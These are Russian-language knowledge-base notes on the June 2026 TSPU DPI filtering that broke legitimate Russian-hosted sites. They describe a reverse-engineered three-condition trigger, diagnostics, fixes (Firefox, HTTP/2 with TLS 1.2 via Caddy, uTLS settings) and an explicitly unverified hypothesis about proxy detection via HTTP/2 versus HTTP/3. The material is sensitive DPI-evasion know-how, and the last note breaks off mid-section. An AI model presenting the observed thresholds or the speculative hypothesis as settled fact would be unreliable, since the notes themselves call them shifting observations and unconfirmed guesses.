обмен данными между онлайн-кассами и серверами учёта то работает, то виснет. - «Сеть превращается в непрозрачный шум»: на мобильном интернете одного оператора сайт работает, на домашнем другого — лежит. > [!quote] Цитаты хостеров (3DNews, 10 июня 2026) > - **Selectel:** частичная недоступность ресурсов с предположительной причиной в виде новых правил фильтрации ТСПУ. > - **Beget и Timeweb:** «плавающая» недоступность, связанная с изменением настроек ТСПУ. **Особенно уязвимы** (по разбору на Хабре, [news/1046025](https://habr.com/ru/news/1046025/)): мобильные приложения с постоянным обменом данными, сервисы реального времени, облачные платформы и B2B-сервисы с множеством API-вызовов, а также проекты за **Cloudflare**. ## Триггер ТСПУ: цепочка из трёх условий (И, а не ИЛИ) ТСПУ **не видит зашифрованного содержимого**, поэтому оценивает пакет `ClientHello` на этапе установления TLS-соединения по трём косвенным факторам. Ключевое: блокировка включается, **только если совпали все три** — если на любом шаге ответ «нет», трафик проходит свободно. 1. **Маршрут (IP-адрес).** Входит ли сервер назначения в «подозрительную» подсеть или автономную систему (AS — Autonomous System, блок IP-сетей под единым управлением; её номер обозначают ASN) дата-центра? Под веерный анализ попали Selectel, Яндекс.Облако, Cloud.ru, Leaseweb, Beget и др. 2. **Отпечаток (TLS-fingerprint).** Цифровой профиль браузера — хэш его расширений, версий TLS и набора шифров. Этот отпечаток ТСПУ **вычисляет** из `ClientHello` (формализуется как JA3/JA4). Под жёсткий фильтр попали отпечатки **Chrome, Safari, iOS**. Со стороны обходных средств тот же отпечаток умеет **подделывать** библиотека **uTLS** (micro-TLS — форк TLS-стека Go, имитирующий рукопожатие реального браузера). 3. **Поведение (частота).** Больше **3 параллельных TLS-сессий** к одному SNI (имени хоста) за последние **60 секунд**, с задержкой между ними **менее 20–50 мс**. > [!danger] Наказание и «двойная ловушка» > При совпадении всех трёх — **заморозка всех TLS-соединений к узлу на 120 секунд**. Если в этот момент попытаться «на лету» сменить отпечаток браузера (даже на чистый и разрешённый), ТСПУ выдаёт **дополнительный штраф на 600 секунд (10 минут)**: блокируются любые TLS-соединения с сервером, **при этом базовый TCP-коннект проходит** — что и сбивает сисадминов с толку («порт открыт, а сайт не грузится»). Эту же реверс-инжиниринг-модель трёх условий описал Пётр Осетров (@hyperion_cs) — подробный разбор каждого фактора, uTLS и выбора фингерпринта в [[VLESS/dpi-tls-june-2026|схеме ограничений июня 2026]]. Разница лишь в жертве: там страдают обходные средства, здесь — обычные сайты, невольно выполняющие все три условия. В диагностической утилите `dpi-ch` этот тип ограничений проверяется субчекером с названием «Siberian». ## Почему обычный сайт невольно ловит все три условия - **Условие 1 (подсеть)** выполняется автоматически: почти любой коммерческий сайт арендует сервер в дата-центре, чьи подсети попали под веерный анализ. - **Условие 2 (отпечаток)** выполняется у большинства посетителей: Chrome и Chromium-браузеры, Safari, мобильный iOS — самые массовые. - **Условие 3 (лавина)** — нормальное поведение тяжёлого сайта: по HTTP/1.1 браузер держит пул примерно из **6 параллельных соединений на каждый хост (origin)** и грузит через них ресурсы; на тяжёлой странице с несколькими поддоменами (CDN, картинки, аналитика) суммарно набегают **десятки** одновременных TLS-сессий. ТСПУ принимает это за аномалию и «дропает» пакеты. Отсюда и парадокс: ничего запрещённого, а сайт «лежит» — просто три безобидных по отдельности признака сложились в сигнатуру, написанную под VPN. ## Диагностика: попал ли ты под «Июньскую блокировку» - **Специализированный чекер.** `dpi-ch` (DPI Comprehensive Checker; в репозитории и парной заметке тот же инструмент известен как `dpi-checkers`, [github.com/hyperion-cs/dpi-checkers](https://github.com/hyperion-cs/dpi-checkers)) — open-source консольная утилита; начиная с **v0.7.0** в неё добавлен субчекер «Siberian». Задай свои подсети, ASN или домены в `.yaml`-конфиге (раздел `checkers → webhost → infra`) — результат по этому типу ограничений выводится в отдельной колонке «Siberian». - **Косвенный признак двойной ловушки:** базовый TCP-коннект на порт проходит (`telnet`/`nc` подключается), но любое TLS-рукопожатие рвётся таймаутом — характерно для штрафных 600 секунд. - **Быстрая проверка протокола сайта:** `curl -Iv https://адрес-сайта` — видно `HTTP/2` или `HTTP/1.1`. Если `HTTP/1.1` — кандидат на «лавину соединений» (условие 3). - **Общий метод по слоям** (доиюньский, но полезный для отсева DNS/IP/SNI-блокировок) — разбор [habr.com/ru/articles/1032572](https://habr.com/ru/articles/1032572/) и утилита `rkn-block-checker`: паттерн `TCP_OK + TLS_FAILED` классически означает DPI по SNI, но так же выглядит и реакция на отпечаток/частоту. ## Как вернуть доступ: нарушить хотя бы одно условие > [!tip] Главный принцип > Сайт **не в реестре запрещённых** — ломается лишь сетевое взаимодействие. Чинится это **легальной** настройкой, без обходных средств. Достаточно сломать **любое одно** из трёх условий триггера. **Условие 2 — сменить TLS-отпечаток** (самое быстрое): - [ ] **Пользователю:** открыть упавший сайт в **Mozilla Firefox** — у него движок Gecko и принципиально иной TLS-отпечаток. Под фильтр на июнь 2026 НЕ попадают: **Firefox, Edge, Android OkHttp, 360 Browser, QQ Browser**. - [ ] **Сисадмину (Xray / 3x-ui):** в конфигурации клиента переключить параметр `uTLS` с дефолтного `chrome` на `firefox`. **Условие 3 — сократить число TLS-сессий:** - [ ] **Включить HTTP/2 на сервере** — мультиплексирование сворачивает сотни запросов к каждому домену (origin) в **одно** TLS-соединение, и порог «>3 сессий к одному SNI» не пробивается; на сайте с несколькими поддоменами/CDN это снимает условие 3 по каждому домену в отдельности. Подробный практический разбор этого решения (почему именно **HTTP/2 Only + TLS 1.2**, настройка reverse-proxy на **Caddy**) — в отдельной заметке [[DPI/tspu-http2-tls12-fix|HTTP/2 Only + TLS 1.2 против ТСПУ]]. - [ ] **Проверить панель 3x-ui (ловушка обновления).** После обновления до ветки `3.x.x` панель вшивает в конфиг ядра Xray `"scMinPostsIntervalMs": "30"`, который сам по себе триггерит ТСПУ на мобильных сетях. Детальный разбор и фикс — в отдельной заметке [[DPI/tspu-3xui-scmininterval-trap|Ловушка обновления 3x-ui]]. **Условие 1 — увести сайт из «грязной» подсети:** - [ ] **Разместить сайт/прокси на IP вне подсетей**, попавших под веерный анализ, либо у хостера, чьи подсети не затронуты. - [ ] **Подать заявку в «белый список» ТСПУ** на исключение своей подсети — практика, доступная юрлицам и ИП (индивидуальным предпринимателям). В разборе eByeBots эта мера не приводится; это отдельный административный путь, о котором сообщают хостеры. **Восстановить управление сервером (когда SSH/RDP в таймауте):** - [ ] **Отключить QUIC (HTTP/3) в браузере:** `chrome://flags/#enable-quic` → **Disabled**. QUIC (транспортный протокол поверх UDP, основа HTTP/3) часто некорректно обрабатывается DPI и даёт лишние таймауты. Это **другая ось** проблемы, чем число TLS-сессий: HTTP/2 включают ради сворачивания сессий, а QUIC отключают из-за плохой проходимости UDP через DPI — противоречия тут нет. Подробнее — в заметке [[DPI/tspu-disable-quic-chrome|Отключение QUIC в браузере]]. - [ ] **Администрировать через веб-консоль VNC** в личном кабинете провайдера (Beget, Timeweb, Selectel) — она идёт в обход заблокированных портов. - [ ] **Перенести SSH с 22-го порта** на свободный пятизначный (например, `49152`) — временно спасает от отсечения по порту. > [!warning] Оговорка по фиксам > Поскольку триггер — это И-цепочка, достаточно сломать одно звено, но важно сломать **то самое**, что у тебя срабатывает. Смена отпечатка (Firefox) помогает пользователю здесь и сейчас; HTTP/2 — системное решение для владельца сайта; «белый список» — самое надёжное, но медленное. Параметры фильтра меняются — то, что обходит ТСПУ сегодня, может попасть под него завтра. ## Контекст: почему это произошло в июне 2026 > [!quote] Версия экспертов (3DNews, 10 июня 2026) > РКН эволюционировал в тактике: от блокировки отдельных IP-адресов — к фильтрации протоколов обхода (VLESS, Trojan, MTProto), а теперь — к попыткам фильтровать **любой защищённый трафик** к облачным провайдерам. Оборудование расценивает множественные шифрованные соединения как подозрительные и обрывает их. Зафиксировано ~**10-процентное падение трафика** у облачных сервисов. Глава хостинг-провайдера **RUVDS Никита Цаплин** (по разбору на Хабре, [news/1046025](https://habr.com/ru/news/1046025/)) отмечал, что новая фильтрация целится в **каскадные VPN-туннели** (клиент → российский сервер → сервер за рубежом) — отчего под удар и попадает трафик к российским дата-центрам. По его мнению, менее травматичным для рунета был бы подход, при котором ТСПУ **информирует провайдера о подозрительной активности** на конкретном адресе, оставляя решение за оператором, вместо автоматической блокировки. Сбои совпали с резким наращиванием мощностей цензуры (по данным CNews, 9 июня 2026): - **АО «ДЦОА»** («Данные — Центр обработки и автоматизации») — единственный интегратор ТСПУ на сетях провайдеров, принадлежит «Ростелекому» (через дочернее АО «Градиент»; создано в 2019 под закон «о суверенном Рунете»). Именно ДЦОА поставляет DPI-комплексы операторам. - **9 июня 2026** ДЦОА объявило закупку на **1,31 млрд руб.**: минимум **154 сервера** (2×Intel Xeon Gold 6530, 1 ТБ DDR5) на склад в Москве к **14 августа 2026** — закрывать **дефицит мощностей** для глубокой фильтрации. - На борьбу с VPN государство выделило ~**40 млрд руб.**; скачивания VPN в марте 2026 выросли в **14 раз** год к году (до 9,2 млн). Заявленная цель — **96% эффективности** блокировки VPN (год для этого показателя в источнике не назван). - На модернизацию ТСПУ выделено **58,97 млрд руб.** (это отдельный бюджет, не тот же, что 40 млрд на борьбу с VPN); к концу 2026 планируется пропускать через систему **весь** трафик российских пользователей, к 2030 — нарастить пропускную способность до **954 Тбит/с**. Иными словами: чем агрессивнее и «поведеннее» фильтрация VPN и чем больше трафика прогоняется через ТСПУ, тем выше вероятность ложных срабатываний по легитимным сайтам. По прогнозу части аналитиков, число ложных блокировок со временем должно снизиться по мере донастройки — но это не гарантия. ## Источники | Источник | Дата | Что отсюда взято | |---|---|---| | [eByeBots — технический разбор «Июньской блокировки 2026»](https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/) | 7 июня 2026 | И-цепочка трёх условий, числа (>3 сессий/60 с, <20–50 мс, 120 с, штраф 600 с), список ДЦ, «двойная ловушка», решения (Firefox/uTLS, 3x-ui `scMinPostsIntervalMs`, QUIC, VNC/порты), чекер `dpi-ch`/«Siberian». | | [Хабр articles/1044396 — о схеме ограничений РКН в июне 2026 (Пётр Осетров, @hyperion_cs)](https://habr.com/ru/articles/1044396/) | июнь 2026 | Первоисточник реверс-инжиниринг-модели трёх условий — см. парную заметку. | | [3DNews — новый подход РКН к борьбе с VPN](https://3dnews.ru/1143332/noviy-podhod-roskomnadzora-k-borbe-s-vpn-veroyatno-privyol-k-sboyam-rossiyskih-saytov-i-servisov) | 10 июня 2026 | Дата сбоев (6 июня), цитаты Selectel/Beget/Timeweb, «РосБизнесСофт»/«ПланФикс», ~10% падение трафика, эволюция тактики «IP → протоколы → защищённый трафик к облакам». | | [Хабр news/1046025 — РКН устроил проблемы облачным сервисам](https://habr.com/ru/news/1046025/) | июнь 2026 | Уязвимые категории (мобильные/realtime/API/Cloudflare), мнение Никиты Цаплина (RUVDS) и «каскадные VPN-туннели», первые жалобы 4–5 июня. | | [Хабр articles/1045684 — починка блокировки сайта ТСПУ, реальный кейс](https://habr.com/ru/articles/1045684/) | июнь 2026 | Альтернативное решение через HTTP/2 + Caddy + TLS 1.2, проверка `curl -Iv`. | | [Хабр articles/1032572 — блокировки по слоям сетевого стека](https://habr.com/ru/articles/1032572/) | 7 мая 2025 | Общий (доиюньский) метод диагностики по слоям (DNS/TCP/TLS/HTTP), паттерн `TCP_OK + TLS_FAILED` как DPI по SNI, утилита `rkn-block-checker`. | | [CNews — главный интегратор фильтрации (АО «ДЦОА»)](https://www.cnews.ru/news/top/2026-06-09_glavnyj_integrator_filtratsii) | 9 июня 2026 | Закупка серверов ДЦОА, владение через «Градиент», бюджеты ТСПУ (40 млрд / 58,97 млрд), цели РКН (954 Тбит/с к 2030), дефицит мощностей. | ## 📚 См. также - [[DPI/tspu-http2-tls12-fix|HTTP/2 Only + TLS 1.2 против ТСПУ]] — практический гайд для владельца сайта по одному из фиксов (условие 3): почему помогает HTTP/2 и контринтуитивный откат на TLS 1.2, настройка Caddy. - [[DPI/tspu-3xui-scmininterval-trap|Ловушка обновления 3x-ui (scMinPostsIntervalMs)]] — почему обновление панели Xray до 3.x.x само пробивает условие «частота» и как это починить. - [[DPI/tspu-disable-quic-chrome|Отключение QUIC (HTTP/3) в браузере]] — клиентский приём против таймаутов на UDP-транспорте (отдельная ось проблемы). - [[DPI/tspu-h2-h3-fingerprint-hypothesis|Гипотеза: ТСПУ ловит прокси по «вечному HTTP/2»]] — **неверифицированная** догадка о ещё одном поведенческом признаке (xhttp+h3 vs REALITY); эффект подтверждён, механизм — нет. - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — детальный разбор того же триггера из трёх условий со стороны обходных средств: uTLS, JA3/JA4, выбор фингерпринта, mux. - [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — условие 2 в деталях: почему сайт не открывается только в Chrome/Edge. - [[DPI/chrome-cnsa-flag-bypass|Обход блокировки флагом Chrome cryptography-compliance-cnsa]] — ещё один клиентский способ сменить TLS-отпечаток (условие 2) без смены браузера. - [[DPI/ru-network-blocklists|Блокировка российских сетей (ASN/CIDR)]] — про подсети и AS с другой стороны (блок РФ-сетей ради приватности/защиты VPN). - [[DPI/dpi-analysis-pipeline|Как DPI анализирует соединение: воронка проверок]] — где в конвейере ТСПУ стоят проверки подсети, отпечатка и частоты соединений. - [[DPI/vpn-blocking-wave-forecast-summer-2026|Прогноз новой волны блокировок VPN (лето–осень 2026)]] — эта июньская блокировка как один из эпизодов в ряду волн 2026 года и почему прогноз о следующей правдоподобен, но без даты. --- --- date: 2026-06-11 tags: - dpi - tspu - rkn - quic - http3 - reality - xhttp - hypothesis aliases: - Гипотеза H2/H3 фингерпринт прокси - Почему прокси выдаёт вечный HTTP/2 - xhttp h3 против блокировки REALITY - Alt-Svc HTTP/3 детект прокси link: https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/ --- # 🔬 Гипотеза: ТСПУ ловит прокси по «вечному HTTP/2» (отсутствию перехода на HTTP/3) > [!warning] Статус: НЕВЕРИФИЦИРОВАННАЯ ГИПОТЕЗА > Это **догадка одного наблюдателя** из профильного чата (11 июня 2026), выведенная из личного наблюдения, а **не** задокументированный реверс-инжинирингом механизм. Отдельные технические предпосылки верны (см. ниже), но **главный вывод — спекуляция** и может оказаться ложной корреляцией. На момент написания независимых подтверждений не зафиксировано (раздел «Внешние подтверждения»). Не строй на этом боевую конфигурацию без собственной проверки. > [!info] О чём заметка > Гипотеза о ещё одном **поведенческом признаке**, по которому **ТСПУ (Технические Средства Противодействия Угрозам)** Роскомнадзора может отличать обходные средства от настоящего браузера: реальный браузер на сайте с **HTTP/3** быстро уходит на него, а прокси-клиент «навечно» остаётся на **HTTP/2** — и это его выдаёт. Если гипотеза верна, из неё следует практический вывод: транспорт **XHTTP с HTTP/3** маскируется лучше, а **REALITY** (работающий только по TCP) под такой признак уязвим. Общая модель блокировки — в обзорной заметке [[DPI/tspu-false-blocks-june-2026|про «Июньскую блокировку 2026»]]. ## TL;DR - **Наблюдение:** у автора гипотезы внезапно «заработали» проверялки QUIC в выдаче Google, что он связал с изменением стратегии блокировок ТСПУ. - **Гипотеза:** ТСПУ ловит прокси по тому, что тот **постоянно сидит на HTTP/2** и не переходит на **HTTP/3**, тогда как настоящий браузер при первой возможности на HTTP/3 уходит. - **Почему браузер уходит:** правильно настроенный сервер шлёт заголовок **Alt-Svc (Alternative Services — «у меня есть HTTP/3, переключайся»)**; браузер, в отличие от прокси-клиента, на нём не задерживается и мигрирует на HTTP/3. - **Следствие 1:** прокси на транспорте **XHTTP с h3** (HTTP/3) ведёт себя как браузер, ушедший на h3 — и под признак «вечный h2» не попадает. - **Следствие 2:** **REALITY** работает **только по TCP** и в принципе не умеет HTTP/3 — поэтому всегда остаётся на h2 и (если гипотеза верна) уязвим. - **Большая оговорка:** это **не доказано**. И даже если работает сейчас — приём временный (массовый уход прокси на h3 сам станет новым признаком). ## На пальцах > [!example] Аналогия > На вечеринке (сайт с HTTP/3) хозяин громко объявляет: «у нас открыт второй, VIP-зал!» (заголовок Alt-Svc). Настоящие гости (браузеры) тут же перетекают в VIP (HTTP/3). А один человек упорно стоит в первом зале и никуда не идёт (прокси-клиент на HTTP/2). Сам по себе он ничего не нарушает — но на фоне всех, кто ушёл, его **неподвижность бросается в глаза**. Охрана (ТСПУ) начинает присматриваться именно к тем, кто «не пошёл в VIP, хотя позвали». > > (Это иллюстрация *логики* гипотезы, а не доказанный механизм — см. раздел «Что в гипотезе спекулятивно».) ## Что в гипотезе технически верно Кирпичики, на которых она стоит, по отдельности корректны: - **Alt-Svc реально переводит браузер на HTTP/3.** Заголовок `Alt-Svc` (или DNS-запись HTTPS/SVCB) анонсирует поддержку HTTP/3. Обычно первое соединение идёт по TCP/HTTP/2, после чего браузер мигрирует на HTTP/3; при закешированном `Alt-Svc` или DNS-записи HTTPS/SVCB он может пойти на HTTP/3 сразу. Это штатное поведение Chrome/Firefox. - **ТСПУ может доставать SNI из QUIC.** Утверждение «научились расшифровывать QUIC» неточно по форме, но по сути отражает реальность: **QUIC Initial-пакеты** (с ClientHello и **SNI — Server Name Indication, имя домена**) защищены ключом, который **вычисляется из публично известных данных** (соль версии + Connection ID). Поэтому DPI всегда мог извлечь оттуда SNI — речь о том, что это стали **применять**, а не о взломе шифрования. - **REALITY — TCP-only.** Протокол XTLS-REALITY перехватывает TLS-рукопожатие реального сайта и работает **поверх TCP**; HTTP/3 (поверх UDP) он не поддерживает. Значит REALITY-клиент физически не может уйти на h3 и всегда показывает h2 — под признак «вечный h2» он попадает целиком. - **XHTTP умеет HTTP/3.** Транспорт XHTTP в Xray поддерживает h3, поэтому «настроить xhttp-tls с h3» — реальная, а не выдуманная опция. ## Что в гипотезе спекулятивно - **Главный тезис — что блокировка нацелена ИМЕННО на «h2 без перехода на h3»** — это интерпретация одного наблюдения («заработали QUIC-чекеры»). Корреляция не равна механизму: эффект мог дать и плавающий характер настроек ТСПУ, и региональные различия (QUIC, как известно, блокируется не везде). - **Нет независимого подтверждения.** В отличие от трёхфакторной модели «Июньской блокировки» (разобранной по реверс-инжинирингу несколькими исследователями), эта связка пока опирается на **один источник**. - **Приём недолговечен по своей природе.** Если заметная доля прокси уйдёт на h3, «одинокий/слишком ранний переход на h3» сам станет аномалией. Один поведенческий маркер просто меняется на другой — гонка щита и меча. ## Если гипотеза верна: что делать > [!tip] Практический вывод (с оговоркой «если подтвердится») > - **XHTTP с h3** маскируется под браузер, ушедший на HTTP/3, — и не выделяется «вечным h2». Но работает только там, где **QUIC вообще проходит** (а ТСПУ режет его не везде — где UDP/QUIC заблокирован, h3-прокси просто не встанет). > - **REALITY** под этот признак уязвим: он всегда TCP/h2. Это **не** значит, что REALITY «сломан» — он по-прежнему силён против других сигналов; но конкретно от признака «нет перехода на h3» он не защищает. ## Как проверить (а не верить на слово) - [ ] Поднять **xhttp-tls с h3** и **REALITY** на соседних портах одного сервера и сравнить, что живёт дольше под одним оператором и регионом. - [ ] Снять дамп трафика и убедиться, что REALITY-клиент действительно остаётся на h2, а xhttp+h3 уходит на h3, и что блокировка коррелирует именно с этим. - [ ] Повторить на нескольких операторах/регионах — «плавающие» настройки ТСПУ могут давать ложную картину на одном из них. ## Внешние подтверждения Поиск в профильных сообществах (net4people/bbs, Xray-issues) на 11 июня 2026 дал важный, но двойственный результат: **наблюдаемый эффект подтверждается, а механизм из гипотезы — нет.** **Что подтверждается (эффект):** - **Поведенческая блокировка VLESS+REALITY в РФ реальна и задокументирована.** В [net4people/bbs #546](https://github.com/net4people/bbs/issues/546) описана «TLS connection-based policing» на домашних ISP (по репортам в треде — MTS/MGTS в Москве, RTK в Ижевске и др.), стартовавшая ещё **~12 ноября 2025** (то есть «Июньская блокировка 2026» — новая волна давней тенденции). Бьёт прежде всего по **VLESS+REALITY+vision на порту 443**; соединение рвётся, как только через туннель пошёл реальный трафик. - **XHTTP с H3 действительно помогает**, а REALITY+vision на 443 — действительно страдает. Это совпадает с практическим выводом гипотезы. Среди работающих обходов в том же треде: смена порта с 443, **mux (мультиплексирование)**, **XHTTP/H2/H3 + mux**, ShadowSocks 2022 и другие не-TLS протоколы. См. также [XTLS/Xray-core #5332](https://github.com/XTLS/Xray-core/issues/5332) («TCP + Reality gets blocked»). - **H2/H3-фингерпринтинг как класс техники существует** (по SETTINGS-фреймам, порядку псевдо-заголовков, QUIC-параметрам) — используется в антибот-системах ([Scrapfly](https://scrapfly.io/blog/posts/http2-http3-fingerprinting-guide), `fingerproxy`). **Что НЕ подтверждается (механизм):** - В [net4people/bbs #546](https://github.com/net4people/bbs/issues/546) **HTTP/2 vs HTTP/3, Alt-Svc и «вечный h2» как признак прокси не упоминаются вообще.** Наблюдаемый там механизм — блокировка по **числу одновременных TLS-соединений к одному эндпоинту** (после ~60 секунд переподключение снова возможно) и привязка к **порту 443**. - Это даёт **более простое конкурирующее объяснение** того же эффекта: XHTTP+H3 помогает не потому, что «выглядит как браузер, ушедший на h3», а потому, что QUIC сворачивает всё в **одно** соединение, а mux мультиплексирует потоки — то есть снижается **число распознаваемых TLS-соединений** (третье условие модели). А REALITY+vision на 443 страдает из-за паттерна одиночного TLS-потока на стандартном порту, а не из-за «отсутствия перехода на h3». - Применение H2/H3-фингерпринтинга **именно ТСПУ** нигде не задокументировано — техника существует у антибот-сервисов, но это не доказывает её использование цензором. - Ещё один независимый разбор блокировок VLESS/Xray ([Habr 990236](https://habr.com/ru/articles/990236/)) **тоже не упоминает h2/h3 или Alt-Svc**, а указывает на совсем другие факторы: привязку к **порту 443** (на высоких портах проходит ~80% трафика), реакцию на **пустой SNI** и на **TLS-fingerprint**. Это второй источник, у которого тот же эффект объясняется без механизма гипотезы. > [!important] Вердикт по верификации > Гипотеза права в **наблюдении** (xhttp+h3 маскируется лучше, REALITY+vision на 443 уязвим), но её **объяснение причины** (alt-svc / «вечный h2 / нет перехода на h3») независимыми источниками **не подтверждается** и имеет более экономное конкурирующее объяснение — блокировку по **числу/паттерну TLS-соединений и порту**. Поэтому практический совет (перейти на XHTTP+H3 или mux, уйти с порта 443) **рабочий**, но обоснование «потому что h2 выдаёт прокси» — пока спекуляция. ## Источники | Источник | Дата | Что отсюда взято | |---|---|---| | Наблюдение участника профильного чата по обходу DPI | 11 июня 2026 | Сама гипотеза: связь блокировки с «вечным h2», роль Alt-Svc, вывод про xhttp+h3 vs REALITY. **Один источник, не верифицировано.** | | [eByeBots — технический разбор «Июньской блокировки 2026»](https://ebyebots.ru/blog/kak-tspu-roskomnadzora-lomaet-legitimnye-sajty-i-servery-v-iyune-2026-goda-tehnicheskij-razbor/) | 7 июня 2026 | Контекст поведенческой блокировки ТСПУ, в которую гипотеза встраивается. | ## 📚 См. также - [[DPI/tspu-false-blocks-june-2026|Как ТСПУ ломает легитимные сайты: «Июньская блокировка 2026»]] — трёхфакторная модель триггера; эта гипотеза — возможный **дополнительный** поведенческий под-признак. - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY: схема июня 2026]] — почему REALITY ловят по поведению, а не по содержимому; контекст про TCP-природу REALITY. - [[DPI/tspu-disable-quic-chrome|Отключение QUIC (HTTP/3) в браузере]] — обратный контекст: для доступа к легальному сайту QUIC иногда отключают, а здесь прокси, наоборот, мог бы использовать h3. - [[DPI/browser-ja4-fingerprint-block|Блокировка сайта по JA4-отпечатку браузера]] — другой фингерпринт-признак (TLS-отпечаток), которым ловят и обходные средства, и обычные браузеры. --- --- date: 2026-06-11 tags: - dpi - tspu - rkn - http2 - tls - caddy - hosting - howto aliases: - HTTP/2 Only + TLS 1.2 против ТСПУ - Как спасти сайт от ложных блокировок ТСПУ - Caddy reverse-proxy против Июньской блокировки - Почему TLS 1.2 проходит ТСПУ лучше TLS 1.3 link: https://ebyebots.ru/blog/kak-spasti-svoj-sajt-ot-lozhnyh-blokirovok-tspu-rkn-2026-god/ --- # 🛠️ Как починить сайт под ложной блокировкой ТСПУ: HTTP/2 Only + TLS 1.2 > [!info] О чём заметка > Практический гайд для **владельца сайта или сисадмина**, чей легальный ресурс на российском хостинге (Beget, TimeWeb, Selectel, SpaceWeb, FirstVDS) «прилёг» для части пользователей в начале июня 2026 из-за обновления **ТСПУ (Технические Средства Противодействия Угрозам)** — оборудования **DPI (Deep Packet Inspection, глубокий анализ пакетов)** Роскомнадзора. Решение: перевести отдачу сайта на **HTTP/2 Only в связке с TLS 1.2** (**TLS — Transport Layer Security, протокол шифрования, на котором стоит HTTPS**), обычно через reverse-proxy на веб-сервере Caddy. Здесь — *почему* это работает (включая контринтуитивный момент: TLS 1.2 проходит фильтр **лучше**, чем более новый TLS 1.3) и *как* настроить. Что это за блокировка в целом и по каким признакам она срабатывает — в обзорной заметке [[DPI/tspu-false-blocks-june-2026|про «Июньскую блокировку 2026»]]. > [!warning] Статус данных > Механизм триггера — **результат реверс-инжиниринга** DPI (наблюдения eByeBots и исследователя Петра Осетрова @hyperion_cs, июнь 2026). Числа (порог «~3 соединения за 60 секунд», заморозка «120 секунд») и сам факт, что помогает именно HTTP/2 + TLS 1.2, — **наблюдения на июнь 2026**; параметры фильтра **различаются по операторам и регионам и со временем меняются**. Это решение лечит **одно** из условий блокировки (всплеск TLS-соединений); если сайт режется по другому признаку — оно может не помочь (см. оговорки в конце). ## TL;DR - **Симптом:** сайт на российском хостинге грузится через раз, не подгружается **CDN (Content Delivery Network — сеть доставки статики: картинок, стилей, скриптов)**, виснет `Connection timed out`, сервер не пингуется — но **только у части пользователей** (зависит от их оператора и региона). - **Причина:** ТСПУ считает **всплеск TLS-соединений** от одного клиента к одному адресу признаком **VPN (Virtual Private Network — шифрованный туннель)** и временно блокирует. Браузер по **HTTP/1.1** открывает 6–30 параллельных TLS-соединений на загрузку страницы — и невольно превышает порог (наблюдался лимит ~**3 новых сессии за 60 секунд** к одному имени хоста), ловя **заморозку соединений на 120 секунд**. - **Фикс:** заставить сайт отдаваться по **HTTP/2 Only** — мультиплексирование сворачивает все запросы к домену в **одно** TLS-соединение, и порог не пробивается. Плюс **принудительно ограничить TLS версией 1.2**. - **Парадокс TLS:** откатить с TLS 1.3 на **TLS 1.2** помогает не потому, что 1.2 «лучше», а потому, что он для ТСПУ **привычнее**: в TLS 1.2 в открытом виде видны и **SNI (Server Name Indication — имя домена)**, и **сертификат сервера** — структура опознаётся как «старый добрый HTTPS». В TLS 1.3 сертификат сервера зашифрован, и сам факт «нового» протокола ТСПУ давит превентивно, когда трафик идёт большими объёмами на популярные хостинги. - **Как:** поставить reverse-proxy на **Caddy** (HTTP/2 + TLS 1.2), направить **A-записи (DNS-записи, привязывающие домен к IP-адресу)** домена на прокси, проксировать на реальный IP бэкенда. На бэкенде — отключить редирект HTTP→HTTPS (иначе петля и ошибка 502). - **Это легально.** Сайт не в реестре запрещённых — чинится настройкой сервера, без обходных средств. ## На пальцах > [!example] Аналогия > Представь охранника на входе (ТСПУ), которому сказали не пускать тех, кто «суетливо забегает по 10 раз подряд» (так ведут себя VPN-туннели). Обычный сайт по HTTP/1.1 ведёт себя именно так: чтобы быстро показать страницу, браузер «забегает» за картинками, стилями и скриптами **десятком отдельных заходов** — и охранник принимает его за нарушителя. > > HTTP/2 — это когда вместо десяти суетливых забеганий курьер заходит **один раз** и приносит всё сразу в одной сумке (мультиплексирование). Охранник видит спокойного одиночного посетителя и пропускает. А TLS 1.2 вместо TLS 1.3 — это как прийти в **знакомой форме**, которую охранник видел годами, вместо новой наглухо закрытой экипировки, которая его настораживает. ## Что произошло (4–5 июня 2026) Крупные российские хостеры — **Beget, TimeWeb, Selectel, SpaceWeb, FirstVDS** — массово зафиксировали частичную недоступность ресурсов. Техподдержка отвечала: «с нашей стороны проблем нет, это плавающие обновления ТСПУ со стороны РКН, зависящие от региона и оператора связи». Симптомы — полный таймаут по **SSH (Secure Shell, удалённая консоль)** и **RDP (Remote Desktop Protocol, удалённый рабочий стол Windows)**, недоступность HTTP/HTTPS, пропажа даже **ICMP (служебный протокол сети — на нём работает `ping`)**. > [!note] Кто не пострадал > Провайдер **REG.RU** (REGRU) почти не затронуло — большинство его IP-адресов **изначально в «белых списках»** систем фильтрации. Это прямое следствие механизма: блок идёт по подсети, а «белая» подсеть под него не попадает. Эмпирическое подтверждение причины (из разбора eByeBots): пока у непокрытых хостеров сайты лежали (у самого Beget не грузился CDN, профильные чаты кипели), сайты пострадавших, которых **подключили к фильтрующему прокси с HTTP/2 + TLS 1.2, мгновенно оживали** — при том что их реальные IP оставались прежними. Контраст «у клиентов прокси тихо — у непокрытых лежит» и показывает: дело не в самом IP, а в *том, как* клиент устанавливает шифрованные соединения. ## Почему спасает HTTP/2 DPI на ТСПУ ищет аномалии. Одна из главных для него — **множественные быстрые TLS-рукопожатия** (TLS Handshake) с одного IP на другой за короткое время: для фильтра это похоже на VPN-протокол, прокси-туннель или **DDoS-атаку (распределённую атаку на отказ в обслуживании)**. Реакция — автоматическая заморозка соединений на **120 секунд**. | Протокол | Как браузер грузит страницу | Что видит ТСПУ | |---|---|---| | **HTTP/1.1** | от **6 до ~30** параллельных TCP-соединений, в каждом — свой TLS-хендшейк | «всплеск» рукопожатий → превышение лимита (~3 за 60 с) → заморозка на 120 с | | **HTTP/2** | **мультиплексирование**: одно TCP-соединение, **ровно один** TLS-хендшейк, внутри — сотни запросов одновременно | один невинный запрос → лимит не превышен → трафик легитимен | «Only» в названии важно: цель — чтобы браузер вёл всю загрузку через одно HTTP/2-соединение, а не откатывался на HTTP/1.1 с лавиной рукопожатий. Версия HTTP согласуется при подключении через **ALPN (Application-Layer Protocol Negotiation — расширение TLS, в котором клиент и сервер договариваются о протоколе)**. > 